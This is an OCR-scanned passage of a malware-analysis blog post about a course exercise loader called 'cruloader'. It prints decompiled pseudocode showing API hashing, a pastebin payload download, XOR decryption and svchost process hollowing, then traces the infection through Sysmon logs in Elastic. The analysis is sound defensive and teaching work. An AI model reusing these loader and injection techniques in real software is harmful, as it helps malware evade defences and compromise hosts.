18 || url handle = IntermetOpenUrlA(hanlde internet, pastebin url dencrypted, 0, 0, 0, 0);

19 || bool HttpQueryInfoA = dynamic_library load(2, 0x2B53DA6);// API Hashing -> HttpQueryInfoA

20| ({void (_stdcall *)(void *, int, char *, int *, DWORD))bool HttpQueryInfoa) (url handle, 5, vll, &vS, 0);
21 ::dwSize = sub 4048C4((int)vill);

22 [1if ( ::dwsize > awsize )

23 | ¢

24 VirtualFree(allocated memory, (SIZE T)&dwsize, 16384u);

25 allocated memory = (char *)VirtualAlloc(0, ::dwsize, 4096u, 4u);
26 ¥

27 || var allocated memory = allocated memory;

28 [do

29 {

30 InternetReadFile (url_handle, var_allocated memory, 0x800u, &dwNumberOfBytesRead);
31 var_allocated memory += dwNumberofBytesRead;

32 }

33 | [ while ( dwNumberOfBytesRead );

34 InternetCloseHandle(hanlde internet);
35 InternetCloseHandle(url handle):
36| return allocated memory;

00000690 sub_401290:1 (401290) (Synchronized with IDA View-A, Hex View-1)

Now that we understand the purpose of the previous function (now called download_file_pastebin), let’s analyze the
sub_4013A0 function.

Pseudocode-A

1 void _usercall network apis(int al@<ebp>)

200

3 int len pastebin url encrypted; // eax

4 int count len url; // ecx

5 char *file downloaded pastebin; // eax

6| _OWORD pastebin_url encrypted[2]; // [esp-40h] [ebp-4Ch] BYREF
7| _intl6 v5; // [esp-20h] (ebp-2Ch]

8| int v6; // [esp+Oh] [ebp-Ch]

9| int v7; // lesp+4h] [ebp-8h]

10 int retaddr; // lesp+Ch] [ebp+Oh]

11
®12| v =

®13| v1=re

# 14| InternetOpemA = (HINTERNET (_stdcall *) (LBCSTR, DWORD, LPCSTR, LBCSTR, DWORD))dynamic_library load(2, O0XDAL6AS3D);// API Hashing -> InternetOpeni
® 15| InternetOpenUrlA = (HINTERNET (_stdcall *) (HINTERNET, LECSTR, LECSTR, DWORD, DWORD, DWORD_PTR))dynamic_library loa

16 .

17 0x16505E0) ; // AP Hashing -> InternetOpenUrlA
# 18 InternetReadFile = (B0OL ( _stdcall *) (HINTERNET, LPVOID, DHORD, LEDWORD))dynamic_library load(2, OX6CCO98FS);// API Hashing -> InternetReadFile
# 19 InternetCloseHandle = (BOOL (_stdcall *) (HINTERNET))dynamic library load(2, 0xES191D24);// API Hashing -> InternetCloseHandle
# 20| pastebin url encrypted[0] = xmmword 413C7C;

@21 vs = 234;

®22 = xmmword_413C8C;

*23 url_encrypted = lstrlenA((LPCSTR)pastebin url encrypted);
2

25

26] (
®27 *((_BYTE *)pastebin url encrypted + count len url) = __ROLL_(*(( BYTE *)pastebin url encrypted + count len url), 4) A 0xC5;
®28 ++count_len u:

29
®30 in_url_encrypted );
®31 d_file pastebin((LPCSTR)pastebin url encrypted);
®32
®33)

This function is a bit long, so let’s break it down into parts. At the beginning of the section, the execution of an XOR

operation and the dynamic resolution of some APIs that will be used below are identified.
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download file pastebin((

= dwsSize;
= 8910423;
.
*( *) = 0Ox13B6A6F6B6A60734i64;
rlena( ):
® <——— XOR Operation
[ ] =_ROL1L ( [ 1, 4) ~ 31;
+4 H
}
while ( < )
MultiByteToWideChar (0, lu 1 WSTR) , 35);

= dynamic library load (0,

dynamic_library load(0,
dynamic_library load(0,
dynamic_library load(0,

0x7A3A310) ;

0x759903FC) ;
0xA1EFE929) ;
0XCCE95612) ;

<— APl Hashing

all *) (int, char *))v4) (260, ):
+ 2
401320}37 (4013c3) (Synchronized with IDA ew-2, Hex View-1)

Using the hashdb_automated script, we are able to identify that the hash algorithm used again was crc32, and that the APIs
being resolved have the ability to write files to disk.
If we follow the flow we are in, the malware has downloaded the PNG file and wants to save it to disk.
python3 hashdb_automated.py
A WY AL

TN
A ATV

AN - -
NN AN

R

N4 NEINEINE S NT TN

UL UL AW
NN NG INE AN

Crtl+C to Come Back): ©x7A3A310,0x759903FC,OxA1EFE929,0xCCE9I5612
cresz
win-core-file-11-
[API: GetTempPathw

rithm
win-cor
Dir

cresz
e-file-11-

cresz

API: WriteFile

Enter hash valu

Further down in the sub_4013A0 function, we can observe the use of these APIs, first identifying the current user’s
temporary directory, followed by the creation of a directory with the name of the file (possibly a directory with the name of

cruloader), followed by the creation of the file within of this directory.

At this stage of the sub_4013A0 function, we identify the dropper capacity of this sample.

[i=] IDA View-A x B Pseudocode-B X @ Hex View-1 x @A Structures X B Enums X &
[ 1 +) (int T ) ) (260, |
+2;
e+ 1);
= 7471203;
+1) = 7078005;
+2) = 6357103;
7 +3) = 6619236;
+4) = 114;
all *) (char =, wD)) ) ( . 0]
while ( *vE++ ) :
7 = ¢ )v8 - (char %)
= ¢ favas + 1;
do
{
- nr;
7 }
while ( )i
amencpy (v11, LA r (w10 > 2));
2 =& 2+~ ( >> 2)]1;
= vi0 & 3;
quemcpy (v13, & 2+ (v10 >> 2)], vid);
5 = (char *)v13 + via;
= ¢ M) (Gne ( ) +, int, B . . N )«
0140000000:
o,
CREATE_NEW,
FILE_ATTRIBUTE_NORMAL,
0);
(tvoia ( 11 *) (void +, char v, SIZET, int v, o) )«
1 Vi
(401468) (Synchronized with IDA V
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Next there is another XOR operation for string decryption, which when implemented through Python, revealed that it was

the string c’ruloader®, possibly a reference to the name of the directory/file created previously.

IDA View-A A Pseudocode-B X | @
102 | LOWORD(v34) = 159;
103 *(_QWORD *)String =|0x8EFE6FS5FBFEFFF8Eui64; |
104 vl8 = lstrlenA(String);

105 v1l9 = 0;

106 do

107 {

108 String[v19] = __ROL1__ (string[v19], 4) A~ 0x9A;
109 ++v19;

110 }

111 | while ( v1% < w18 );

Next, we have a decryption algorithm that takes the PNG file handle as an argument. Possibly, this algorithm is for the
extraction and decryption of the third stage, using the key 0x61, which is inside the PNG file.

if ( w2l >= 0x40 )

{
v23 = handle file downloaded pastebin + 32;
var_handle file downloaded pastebin = v21 & OxFFFFFFCO;
do
{
v24 = *({_ml28i *)va3 - 2};
V23 += 64;
V22 += 64;
*((_mi28i *)v23 - 6) = _mm xor_sil28((__ml28i)xmmword_4£13CD0, v24);
*(( mi28i *)v23 - 5) = mm xor sil28(*({ m128i *)v23 - 5), ( m128i)xmmword 413CDO);
*(( mi28i *)v23 - 4) = mm xor sil28(*(( ml128i *)v23 - 4), ( ml28i)xmmword 413CD0);
*(( mi2si *)v23 - 3) = mm xor sil28(*({ mlz28i *)v23 - 3}, ( mi28i)xmmword 413CDO);
1
while ( v22 < var_handle file downloaded pastebin ); XOR Operation Wlth OX61 ke\/
} .
for (5 vz < val; sevaz ) to extract the third stage on
[handle_file_downloaded pastebin[v22] A= 0x6luj| pasterbin file

Extraction and decryption of the third stage will be discussed in the next section. In the meantime, let’s continue with the

analysis of the second stage, to understand what will be done with the third stage payload.

And then we reach the end of the function, where three last functions will be executed. The sub_401D50, sub_401CAO0 and
sub_401750.

sub 401D50() ;
vah = (ml28i *)sub_ 401CA0((int) &savedregs, (int)wv32);
sub 401750(

(int) handle file downloaded pastebin,

{int)handle file downloaded pastebin,

(int)var str deec ruleoader,

var _handle file downloaded pastebin,

*y25)

}
D00009FE sub_4013A0:157 (4015FE) (Synchronized with IDA View-A,

First, let’s look at the sub_401D50 function. This function is basically responsible for resolving more APIs through de-

hashing.

IDA View-A X Pseudocode-B x | @ Hex View-1 x @ Structures x 3 Enums
nt __cdecl sub_401D50()

_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORL

aword_416AA4 = (int (__stdcall *) (_DWORD,
, _DWORD) ) aynamic_library 1oad (0, Ox4F58972E);

1
2

3

4 aword 416ACC = (int (_ stdcall *) (_DWORD, _I
5 dynamic_library load 47044025) ;

6 dword 416AC8 = (int dcall *) (_DWORD,

7 dword 416AC4 = (int (_ stdcall *) (_DWORD,
8 aword 416AD0 = (int (_stdcall *) (_DWORD,

_DWORD, _DWORD, _DWORD))dynamic_library load(0, OXE62E824D);
_DWORD, _DWORD, _DWORD, _DWORD))dynamic_library_load(0, 0x9CEOD4A);
, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))dynamic_library load(

0,
10 H H 0XFF808C10) ;
11| retumn o) API Hashing... again

Once again, through hasdb we are able to identify the hashing algorithm (crc32, once again) and the APIs corresponding to

each Hash.
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$ python3 hashdb_automated. py

AVAVANRNR AN

INF_ L

Enter your choice (1/2/3): 1

Enter hash value parated by commas, P Crtl+C to Come Back):| 0xA851D916,0x4F58972E, €
Hashing Algorithm: cre32
DLL: api-ms-win-core-proce:
API: CreateProce

threads-11-1-0

ory-11-1-8

Hashing Algorithm:
api-ms-win-core-memo
: VirtualAllocEx

Hashing Algorithm:
DLL: api-ms-win-core
[API: virtualalloc

Hashing Algorithm: crc3z
DLL: api-ms-win-
API: Creat hr

Enter hash values (s

AVANRVANRY

\/_IN/_INT_J

4D, 0x9CEOD4A, OxFF808C10

And after analyzing the resolution of the APIs that will be called, we can observe that the code is preparing to perform some

type of Remote Process Injection.

B DA View-A x| ® Pseudocode-B x [@ HexView-1 x|@ Structures x Enums
0
CreateProcessh = ( « ) . .
WriteProcessMemory = ( « ) ) aynanic_1ibrary_load(
o

0x4P58972E) ;

aynamic_library load(0, 947044025);

VirtualAllockx = «
virtualalloc_ = ( « )0 .
CreateRemoteTnread = ( « )¢
return 0,

: ))dynamic_1ibrary_load(0, 0XE62E824D);
) dynamic_library 10ad(0, OXSCEODAA);// API Ha

LN Imports %

))aynamic_1ibrary 10ad(0, OXFF808C10);

Basically the first function had the purpose of resolving the APIs, next, we will analyze the next function sub_401CA0.

process_inject_api_ resolve();

= ( “)eub_401CRAO[{(int) & c
sub_ 401750 (
(int) .

’

In this function we are exposed once again to an XOR operation for decryption using the key

T IDA View-A ® (T Pseudocode-B
aa ofset anininetp1l
szAgent. @ ‘cruloader’,0 int v2; //
align & int v3; //
Somword 13C5C sxmmord TORDIDH EFISTER
:1: 1/
xnawora_413C6C xmmwora 7
/1

BACATAOA A SB1B1BDAD

mmword_413C7C xmmword 0

xmaword_413C8C xmmword 2818CFEA0A98SAAE2B4ATBAESAAAGABED -

word_41369C  aw 0

byte_413cA0  ab 5ch

(int) )

01607) (Synchronized with IDA View-A

.1pReserved, 0, 0x40u);

XOR operation with the 0xa2 key

quora.
awora
awora
avora
awora

a13cAd
a13cac
1380
a13cB4
a13cB8

e s + v3), &) A oxAz

awora
awora
quora

a13cBC
a13cco

return
a13cca )

FFOER

o, 4u, 0, 0, &%, 2277

Once again, I implemented this algorithm in Python and when I ran it, the absolute path of the svchost binary was returned.

def roll(byte, shift):
return ((byte << shift) | (byte >> (8 - shift))) & OxFF

def decrypt_svchost(svchost_encrypted):
for i in range(len(svchost_encrypted)):
svchost_encrypted[i] = roll1(svchost_encrypted[i], 4) A 0xA2

decrypted_text = "'.join([chr(byte) for byte in reversed(svchost_encrypted)])
return decrypted_text

svchost_encrypted = [0x7C, @xAD, @x7C, @0xC8, 0x6D, 0x1D, @xDC, @xAC, 0x1C, @x4D, 0x1D, OxEF, 0x09, 0x19, OxFC, 0x7C,0x6D,¢

Page 22 of 28



https://0x0d4y.blog/zero2automated-custom-sample/

decrypted_text = decrypt_svchost(svchost_encrypted)

print(f"\n\@33[32mDecrypted String \@33[m[\033[33msvchost_process_create\@33[m]: \033[3Tm{decrypted_text}")

With this information, we are able to improve pseudo-code reading by renaming variables, functions and objects.

With this we are able to observe that after decrypting the string referring to the absolute path of svchest, this string will be

used as an argument in the process creation call (the process will be created in suspended mode).

struct _PROCESS_INFORMATION *__ usercall svchost process_create@<eax>(
int al@<ebp>,
struct _PROCESS_INFORMATION *1pProcessInformation)

int v2; // eax
int v3; // ecx
struct _STARTUPINFOA v5; // [esp-78h] [ebp-84h] BYREF
_OWORD svchost[3];: // [e [ebp h] BYREF

9| int v7; // [esp+0n] [eb
10| int v8; // [esp+4n] [
11| int retaddr; // [esp+Ch]

1
2
3
4{
5
6
7
8

12

13 v7 = al;

14 v8 = retaddr;

15 sub_402FB0O((__ml128i1 *)&v5.lpReserved, 0, 0x40u);
16 v5.cb = 68;

17 vchost [0] = svchost_encrypted;

1] = absolute path svchost encrypted;
t);

18 || svcho
19| v2 = lstrlenA((LPCSTR)svchos
20 vi = 0;

21 do

22 {

23 * ((_BYTE *)svchost + v3) = __ROL1L__ (*{(_BYTE *)svchost + v3), 4) A OxA2;
24 +4+V3;

25 }

26| while ( v3 < v3 );
27 | | CreateProcessA ( (LPCSTR) sv
28 | | return 1pProc

., 0, 0, 0, 0, 4u, 0, 0, &5, lpProcessinformation);

Now that we know the purpose of this function, let’s move on to the analysis of the sub_401750 function, which we can
already see that receives as parameters the handles of the PNG file downloaded from pastebin, and the handle of the

process created in suspended mode from svchost.

process_inject_api resolve();
handle svch = ( ml28i *)svehost process create((int)&savedre
sub_401750(
{int)handle file download
{int)handle file downloas

{int) 1lpProc

{int)var_str dec ruloader,
var_handle file downloaded pastebin,
*handle st_process) ;

}
000003B4 write_inject:145 (4015B4) (Synchronized with IDA View-&)

As we analyzed the function, we again observed a large number of executions of the dynamic API resolution function,

through API Hashing.

IDA View-A B3 Pseudocode-B. x |@ Hex View-1 x @ Structures x B Enums
70| v5 = *(_DWORD *) (v62 + 52);
71 v57 = v5;
72 sub_402FBO((_ mi28i *)ved, 0, 712u);
73 v63 = 65538;
74 v6 = dynamic_library load(0, 0x649EB9C1);

75 v53 = _mm cvtsil28 si32(_mm srli si128(a
76| if ( !((int (_stdcall *)(int, int *, int,
77 return 1;

78| V7 = v65 + 8;

79 v8 = dynamic_library load(0, OXF7C7AE42);
80| if ( !((int (_stdcall *)(__int32, int,

, int))vé) (v53, &v63, a3, a4, a2) )

char *))ve) (a5.m128i_i32[0], v7, &v67, 4, v69) )

81 return 1;

82 v9 = v67;

83 if (V67 == v5 )

84 {

85 v10 = dynamic library load(l, 0x90483FF6);

86  if ( ((int (_cdecl *)(_int32, int))vio)

87 return 1;

88 }

89 v1l = dynamic_library load(0, 0XE62E824D)j;

90 v68 = ((int (__stdcall *)(__int32, int, _DW i_i32[0], v57, *(_DWORD *) (vé2 + 80), 12288, 64);
91 if ( 1ves )

92 {

93 if ( GetLastError() != 487 ) B
o return 1; More and more APl Hashing
95 v68 = ((int (__stdcall *)(__int32, _DWORD, _DWORD, int, int))wvi1)(

96 a5.m128i i32[0],

97 o,

98 *(_DWORD *) (v62 + 80),

99 12288,

100 64) ;

101 if ( tves )

102 return 1;

103 }

104 = dynamic_library load(0, 0x4F58972E);

105 stdcall *) (_DWORD, _DWORD, _DWORD, _DWORD, _DWORD))v12;

106 8 && !((int (__stdcall *)(__int32, int, int *, int, FARPROC *))v12) (a5.m128i_i32[0], v7, &v68, 4, &v72) )
107

108 B

109 *(_WORD *) (V62 + 92) = 2;

110 v1i4 = v68;

111 if ( v68 == v57 )
00000BB9 sub_401750:74 (401789) (Synchronized with IDA View-3, Hex View-1)
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Again, through hashdb, we identified that the hashes (cre32) refer to the set of APIs used to execute the Process Hollowing
technique.

threads-11-1-1

And when we improve the visibility of our pseudo-code, it becomes clear that this function is in fact responsible for

executing the Process Hollowing technique in the created svchost process in suspended mode.

[ IDAView-A X | [E  Ppseudocode-A X @ Hex View-1 x [@

Structures X Enums PN
89 = dynamic_library load(0, OXF7C7AE42);// API Hashing -> ReadProcessMemory
70 || £ ( ! ((int (__stdeall *}(__int32, int, int *, int, char *)) )
91 | .m128i_i32[0],
3 &
4 a,
)5 ) )
9¢ return 1;
)8 if | == )
TH 1
100 = dynamic_library load(l, 0x90483FF6);// API Hashing -> NtUnmapViewOfSection
1 if ( ((int (__cde *) (__int32, ) ¢ .m128i_i32[0], ) )
102 return 1;
103 |}
104 dynamic library load(0, OXE62E824D);// API Hashing -> VirtualAllocEx
105 = {{int (_ stdcall *)(__int32, int, _DI
1 .m128i_i32([0],
108 * (_DW ) 0 + 80),
109 1228
64)
if (! )
{
i 1= 487 )
= ((int ( int)) >
0,
*(D ) + 80)
12288,
64) ;
if (! )
return 1;
}
= dynamic_library_load (0, 0x4F58972E);// API Hashing -> WriteProcessMemory
= (int (_stdcall *) (_DWORD, L DWORD, _DWORD, _DWORD)} i
if « 1=
&& ! ((int ( tdcall *) (_ int32, int, int *, int 2 *)) )
.m128i_i32[0],
750:91 (401806) (Synchronized with IDA Vie

Therefore, in this section we analyze the second stage of the sample, where we identify that its purpose is to:

» Download the PNG file that contains the third stage;
Extract the third stage from the PNG file;

Create a process in svchost suspended mode, and execute the Process Hollowing technique to inject and execute the
third stage in a benign process, with the purpose of evading defenses.

In the next section, we will extract the third stage and analyze its final payload.

Extract and Reversing the Third Stage
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As we observed during the analysis of the second stage, it extracts the third stage from within the PNG file and decrypts the

third stage through an XOR operation using the key 0x61.

Having this information, it is very easy to proceed with the extraction and decryption using CyberChef. Using the XOR

operation module and setting the key 0x61, we are quickly able to observe a PE header in the output.

Recipe om N

XOR Qn

scheme
HEX~ Standard

D Null preserving

Input e > t DO WM
< 1:,\Flabaaaeaaa\9F\9Eaa\D9.. X 2: PNG-02-Copy.png X >
oo File details
ERRTY S ITRRES ¢ KA
File icon

LPQUAr=~=c3~."

“.1a. 9+ aPECEOH
&A% 48E

-ra]

%« Uoy¥:
AU

A)A UA-27

o uBil#A #S{L
[

e 275805 = 825
Qutput

< 1:MZ=P=X§=X$=%X@=

Mz

aaaask

2: &1/&lk{kaaal()%3aaA*aasKigaaal.. >

[emn | [0] oo Qe Clres

ize:
Type: image/png
Loaded: 100%

Tr Raw Bytes & LF

B0 ®::

aaaadfkaaaaaaaaa”
program can
PR

1
STEP & B Auto Bake

11 wLi1This

Kad~.

©

By adding the file extraction module, we are able to download the PE file.

2e4ns  Tr Rew Bytes e LF

Recipe amaE G ;. T OB W =
XOR © 1 | < 1:)\Flabaaaeaaa\9F\OEaa\D9aaazasalanazaaaaa. X 2: PNG-02-Copy.png X > o
Key Scheme " _IKAARARRAR] " (S File details
61 HEX~ Standard [CJ Null preserving A% e\ " _LKARAAIN
AN File icon
g i E [P:PP™ | Name: PNG-02Copypng
Extract Files on $15-82S, RCRORVR]R#R-R7R".R".RGRIR*RZU/U" Size: 275,89 bytes
,JA;JOUAUQUIUMJI’JUBU‘U~U~U~Hfl’p|’ STGTIT| T+ TOWVWEW[W W - WOWOWEWEW W+ W+ WOV +VdYDY Type: image/png
M images  [@Video [ Audio [@Documents [ Applications  EBATChives [ yeyey.yay.yexexpx/XGHEXSX "X~ [A[R[¥[ [L+ [+ [+ [L2WZAZ, 2722~ Loaded: 100%

z 1z Iklalwl}IcIT10]u] )
Minimum File Size [1!]+]aaaAaaEaaa¥Q-Q:Q4Q+Q+Q+P+Pas™T
[ Miscellaneous I8 Ignore failed extractions 100 3 T
aaaaaaaanaaaanaanaaaaaaaaaaaaaa 6
e
e
*+G08-+6}0r" " " TENDEB »
e 7se00 = s25 [ 20612275728 (9210 selected) T wee pytes e e
Output ef0m:
< 1: MZ="P=X$=X$=%X@=%#=%T = "1=%XL= "This 2:2file(s) >
vz vet | [ |[[an | Dimstencase Dlregers Cloy vors 5

2 file(s) found

extracted_at_0x2f349.z1ib

x41110 . exe

32.361 bytes @ [

9.216 bytes @ [

Having the PE file (our third stage) in hand, we simply analyze it in IDA and we are now able to see the final payload of our

sample.

IDAView-A X [ Pseudocode-A X

‘ = Hex View-1 X A Structures x 3

int __cdecl main(int arge, const char **argv, const char **envp)

{

return 0;

}

1
2
3| [MessageBoxA (0, "Un Oh, Hacked!!", "FUD 1337 Cruloader Payload Test. Don't upload to VT.", 0);]
4
5

To validate that this is indeed the final payload, we simply need to execute the binary given to us by the ‘IR team’.
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p 000/0:22

Thus, our sample analysis comes to an end!

Now let’s venture into the process of identifying TTPs, tracking them through logs in the Elastic Stack, and developing

Yara rules.

Malware Behavior Tracking

In this section we will delve deeper into tracking the sample run in our laboratory, using Elastic as a SIEM, with the purpose

of trying to identify the infection steps that we identified during our analysis.

Below we are able to identify the second phase being executed, using Sysmon’s Event ID 1 (Process Creation). In this log,
we are observing the second phase by creating an svchost process by executing the Process Hollowing technique, and
executing the malicious payload within the svchest process. At this point it is important to record the Process ID (1688) of

this new process, as we will use it to track the next phases.
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t message Process Create:
RuleName: -
UtcTime: 2824-82-87 81:02:29.521
Process6uid: {ae5129bB-eda5-65ba-4181-0006680001006}
ProcessId: 1688
Image: C:\Windows\SysWOW64\svchost.exe
Fileversion: 16.8.19841.3636 (WinBuild.168181.0888)
Description: Host Process for Windows Services
Product: Microsoft® Windowss Operating System
Company: Microseft Corporation
OriginalFileName: svchost.exe
CommandLine: "C:\Windows\System32\svchost.exe”
CurrentDirectory: C:\Users\Adalberto\Desktop\
User: D2SPK-UK-FBANK\Adalberto
LogonGuid: {ae5129b@-ec28-65ba-735-048000080000
LogonId: @x4357F
TerminalSessionId: 1
Integritylevel: Medium
Hashes: SHA256=39D422BD2A3D1AFB25799918F150E36003DBEZA3BCEICTF743
2E3EATAD98962E, IMPHASH=31245021771B@1BCABBE49256BDAAB32
ParentProcessGuid: {ae5129bB-eda5-65ha-4601-000008001008}
ParentProcessId: 18696
ParentImage: C:\Users\Adalberto\Desktop\main_bin.exe
ParentCommandLine: "C:\Users\Adalberto\Desktop\main_bin.exe"
ParentUser: D2SPK-UK-FBANK\Adalberto

As we well know, the process is created in suspended mode until the second stage injects the malicious payload and
executes it through a Thread. And that is exactly what we can see in the log record below, through Event ID 8

(CreateRemoteThread). The fact that a binary is creating a remote Thread in a svchost process is suspicious enough.

t message CreateRemoteThread detected:

RuleMName: -

UtcTime: 20824-82-81 81:862:29.566

SourceProcessGuid: {ae5129b8-eda5-65ba-4661-886000661066
SourceProcessId: 18696

SourceImage: C:\Users\Adalberto\Desktop\main_bin.exe
TargetProcessGuid: {ae5129bB-edab-65ba-4161-800008061080
TargetProcessId: 1688

TargetImage: C:\Windows\SysWOW64\svchost.exe

NewThreadId: 7788

StartAddress: 8xB886060808088111DCH

StartModule: -

StartFunction: -

SourceUser: D2SPK-UK-FBANK\Adalberto

TargetUser: D2SPK-UK-FBANK\Adalberto

And after executing the second stage’s malicious payload within the svchost process (PID 1688), we are able to identify the
network connection with pastebin, in order to download the third stage, through Event ID 22 (DnsQuery) and Event ID 3

(NetworkConnection) , respectively shown in the following two images.

t message Dns query:
RuleName: -
UtcTime: 2824-82-871 81:02:30.923
ProcessGuid: {ae5129bf-eda5-65ba-4181-0806A2001608 }
ProcessId: 1688
QueryName: pastebin.com
UeryStatus:
QueryResults: ::ffff:172.67.34.178;::ffff:104.20.68.143,;::ffff:18
4.20.67.143;

Image: C:\Windows\SysWOWN64\svchost.exe
User: DZSPK-UK-FBANK‘Adalberto

t message Network connection detected:
RuleName: -

UtcTime: 2624-02-81 81:02:31.854

ProcessGuid: {ae5129bf-eda5-65ba-4181-0A0AREGEG1600}
ProcessId: 1688

Image: C:\Windows\SysWOW64\svchost.exe
User: D2SPK-UK-FBANK\Adalberto
Protocol: tep

Initiated: true

SourcelsIpve: false

Sourcelp: 192.168.56.25
SourceHostname: d2spk-uk-fbank
SourcePort: 58059
SourcePortName: -
DestinationIsIpv6: false
DestinationIp: 172.67.34.178@8
DestinationHostname: -
DestinationPort: 443
DestinationPortName: https

We are also able to identify the disk writing of the PNG file, which contains the third stage performed by the svchost
process (PID 1688). As we can see in the following two images, we are first able to identify Event ID 11 (FileCreate) by
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registering the PNG file download cache, followed by the actual creation of the file output.jpg in the cruloader directory,

within the temporary directory.

Field Value
t message File created:
RuleName: -

UtcTime: 2824-82-81 81:02:33.985

ProcessGuid: {ae5120bf-eda5-65ba-4181-200ABARA10GE }
ProcessId: 1688

Image: C:\Windows\SysWOW64\svchost.exe
TargetFilename: C:\Users\Adalberte\AppData\Local\Microsoft\Window
s\INetCache\IE\ZGFFWPQO\PNG-82-Copy[1].png

CreationUtcTime: 2824-82-81 81:82:33.985

User: D2ZSPK-UK-FBANK\Adalberto

t message File created:
RuleName: -
UtcTime: 2624-62-81 @1:082:33.938
ProcessGuid: {ae5126hA-edas-65ha-4181 1008}

ProcessId: 1688

Image: C:\Windows\SysWOWN64\svchost. exe
TargetFilename: C:\Users\ADALBE~1\AppData\Local\Temp\cruloaderiou
tput.jpg

CreationUtcTime: 2824-82-81 @1:02:33.938

User: D2SPK-UK-FBANK\Adalberto

And finally, we are able to identify the execution of the third stage, which consists of the svchest process containing the
second stage (PID 1688) executing another svchest process containing the third stage (PID 19372).

t message Process Create:
RuleName: -
UtcTime: 2824-82-81 81:82:33.951
ProcessGuid; {ae5120bfA-eda%-65ba-43061-ARAABEGE1000}
ProcessId: 19372
Image: C:\Windows\SysWOW64\svchost.exe
FileVersion: 18.8.19841.3636 (WinBuild.166101.8808@)
Description: Host Process for Windows Services
Product: Micresofts Windows® Operating System
Company: Micresoft Corporation
OriginalFileName: svchost.exe
CommandLine: "C:\Windows\System32\svchost.exe”
CurrentDirectory: C:\Users\Adalberto\Desktop\
User: D2ZSPK-UK-FBANK‘\Adalberto
LogonGuid: {ae5129b@-ec28-65ba-7f35-040006000806 }
LogonId: @x4357F
TerminalSessionId: 1
Integritylevel: Medium
Hashes: SHA256=39D422BD2A3D1AFB25799918F15DE38803DBE2A3BCEICTFT743
2E3EATAD98962E, INPHASH=31245621771B81BCABBE49258BDAABI2
ParentProcessGuid: {ae5129b8-eda5-65ba-4161-666600061006}
ParentProcessId: 1688
ParentImage: C:\Windows\SysWOWe4\svchost.exe
FarentCommandLine: "C:iWindowsiSy svchost.exe"

ParentUser: D2SPK-UK-FBANK\Adalberto

Therefore, in this section we were able to identify the behavior pattern of executing the binary that was sent to us by the ‘IR
team’.

This will help the IR, SOC and Threat Hunting teams understand the behavior of this sample, and identify such behavior
on other devices, allowing visibility into the scope of the incident.

Conclusion

It was absurdly fun to work on this sample, it actually demands everything you should learn in this first part of the
Zero2Automated: The Advanced Malware Analysis course. Excellent exercise, and very realistic! I hope this article has

contributed to your analysis, if you are stuck somewhere, and that you have learned something new here.

See you later!

Source: https://0x0d4y.blog/zero2automated-custom-sample
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